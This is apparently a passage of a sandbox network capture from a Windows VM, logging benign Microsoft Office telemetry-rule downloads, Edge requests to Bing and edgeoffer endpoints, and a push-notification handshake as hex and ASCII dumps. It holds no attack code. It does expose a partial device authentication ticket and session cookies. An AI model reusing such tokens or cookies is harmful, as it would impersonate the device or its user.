2024-11-25 06:53:37 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:36 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:36 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: ab3f6f35-201e-0085-2728-3d34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065336Z-15b8b599d889gj5whC1TEBfyk000000005eg000000005b0y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:37 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:36 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:37 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065337Z-174c587ffdfldtt2hC1TEBwv9c00000005e0000000007skb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:37 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:37 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: e42c2868-f01e-003f-5826-3dd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065337Z-15b8b599d88wn9hhhC1TEBry0g00000005gg00000000k5kn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:37 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49799	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:37 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6d 61 7a 53 47 7a 46 70 6a 55 36 67 68 6e 45 2b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 33 35 32 39 61 62 30 30 61 35 39 34 65 39 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: mazSGzFpjU6ghnE+.1Context: e3529ab00a594e91
2024-11-25 06:53:37 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-25 06:53:37 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6d 61 7a 53 47 7a 46 70 6a 55 36 67 68 6e 45 2b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 33 35 32 39 61 62 30 30 61 35 39 34 65 39 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 42 67 6e 77 68 42 53 43 51 68 78 6a 47 73 41 6c 62 45 5a 45 35 57 43 5a 65 76 33 36 32 37 7a 70 76 79 64 4c 2b 65 36 44 57 34 46 36 4b 48 33 66 4c 77 32 48 41 48 63 58 37 31 53 6b 68 39 63 67 61 6c 74 37 54 30 5a 78 4b 66 34 36 4a 76 67 57 54 49 72 68 41 77 74 76 71 39 4a 6e 35 69 37 4e 75 42 4e 56 69 4c 4a 41 75 46 56 75 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: mazSGzFpjU6ghnE+.2Context: e3529ab00a594e91<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbBgnwhBSCQhxjGsAlbEZE5WCZev3627zpvydL+e6DW4F6KH3fLw2HAHcX71Skh9cgalt7T0ZxKf46JvgWTIrhAwtvq9Jn5i7NuBNViLJAuFVu
2024-11-25 06:53:37 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6d 61 7a 53 47 7a 46 70 6a 55 36 67 68 6e 45 2b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 33 35 32 39 61 62 30 30 61 35 39 34 65 39 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: mazSGzFpjU6ghnE+.3Context: e3529ab00a594e91<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-25 06:53:38 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-25 06:53:38 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6c 36 4b 77 4e 47 6d 53 38 30 53 74 6c 6e 32 69 33 42 49 61 77 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: l6KwNGmS80Stln2i3BIawg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:39 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:39 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 97f3364e-001e-00a2-6ca6-3ed4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065339Z-178bfbc474bbcwv4hC1NYCypys000000071g000000001wkt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:39 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49804	13.107.9.158	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:39 UTC	427	OUT	GET /work/api/v2/tenant/my/settingswithflights?&clienttype=edge-omnibox HTTP/1.1 Host: business.bing.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:40 UTC	938	IN	HTTP/1.1 401 Unauthorized Cache-Control: max-age=0, no-cache, no-store, must-revalidate Content-Length: 584 Content-Type: application/json; charset=utf-8 Strict-Transport-Security: max-age=31536000; includeSubDomains nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://bzib.nelreports.net/api/report?cat=bingbusiness"}]} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 0DA3C56A97584ED8AD103AE362880326 Ref B: BL2AA2030101017 Ref C: 2024-11-25T06:53:39Z Set-Cookie: MUIDB=17862A4C3D1D6BE00E003F0E3C896AA4; path=/; httponly; expires=Sat, 20-Dec-2025 06:53:39 GMT Date: Mon, 25 Nov 2024 06:53:39 GMT Connection: close
2024-11-25 06:53:40 UTC	584	IN	Data Raw: 7b 22 74 65 6e 61 6e 74 53 65 74 74 69 6e 67 73 22 3a 7b 22 66 72 69 65 6e 64 6c 79 4e 61 6d 65 22 3a 22 22 2c 22 74 65 6e 61 6e 74 4f 62 6a 65 63 74 49 64 22 3a 22 22 2c 22 74 65 6e 61 6e 74 49 64 22 3a 22 22 2c 22 74 65 6e 61 6e 74 44 69 73 70 6c 61 79 4e 61 6d 65 22 3a 22 22 2c 22 69 63 6f 6e 4c 61 72 67 65 22 3a 22 22 2c 22 69 63 6f 6e 4c 61 72 67 65 43 68 65 63 6b 73 75 6d 22 3a 22 22 2c 22 74 68 65 6d 65 22 3a 22 22 2c 22 61 64 6d 69 6e 45 6d 61 69 6c 22 3a 22 22 2c 22 69 63 6f 6e 4c 61 72 67 65 49 73 44 65 66 61 75 6c 74 22 3a 66 61 6c 73 65 2c 22 74 65 6e 61 6e 74 47 72 6f 75 70 22 3a 22 22 2c 22 73 74 61 74 75 73 22 3a 22 43 6f 6d 70 6c 65 74 65 22 2c 22 76 61 72 69 61 6e 74 73 22 3a 5b 5d 2c 22 65 78 70 6c 6f 72 65 51 75 65 72 69 65 73 22 3a 5b Data Ascii: {"tenantSettings":{"friendlyName":"","tenantObjectId":"","tenantId":"","tenantDisplayName":"","iconLarge":"","iconLargeChecksum":"","theme":"","adminEmail":"","iconLargeIsDefault":false,"tenantGroup":"","status":"Complete","variants":[],"exploreQueries":[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49805	13.107.9.158	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:39 UTC	418	OUT	GET /api/v1/user/token/microsoftgraph?&clienttype=edge-omnibox HTTP/1.1 Host: business.bing.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:39 UTC	801	IN	HTTP/1.1 401 Unauthorized Cache-Control: max-age=0, no-cache, no-store, must-revalidate WWW-Authenticate: Bearer WWW-Authenticate: Bearer WWW-Authenticate: Bearer error="invalid_token" WWW-Authenticate: Bearer error="invalid_token" Strict-Transport-Security: max-age=31536000; includeSubDomains X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 58308932542A49F6AE6CEF4CD5C42056 Ref B: BL2AA2030102007 Ref C: 2024-11-25T06:53:39Z Set-Cookie: MUIDB=02DBECD9557A69F41113F99B547B68F7; path=/; httponly; expires=Sat, 20-Dec-2025 06:53:39 GMT Date: Mon, 25 Nov 2024 06:53:39 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49811	94.245.104.56	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:40 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:40 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Mon, 25 Nov 2024 06:53:39 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=9d90d64458d90255b6b35bbdd301682cde81e2f30fd042245a59b55dae0fc551;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=9d90d64458d90255b6b35bbdd301682cde81e2f30fd042245a59b55dae0fc551;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:40 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:40 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 974535d3-001e-002b-30bf-3e99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065340Z-178bfbc474btrnf9hC1NYCb80g000000078g000000006y17 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:40 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:40 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:40 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2250be27-501e-007b-7961-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065340Z-178bfbc474bpnd5vhC1NYC4vr4000000075g000000002wak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:40 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:40 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:40 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 89d933d2-101e-0028-046e-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065340Z-174c587ffdfb74xqhC1TEBhabc00000005p0000000003csz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
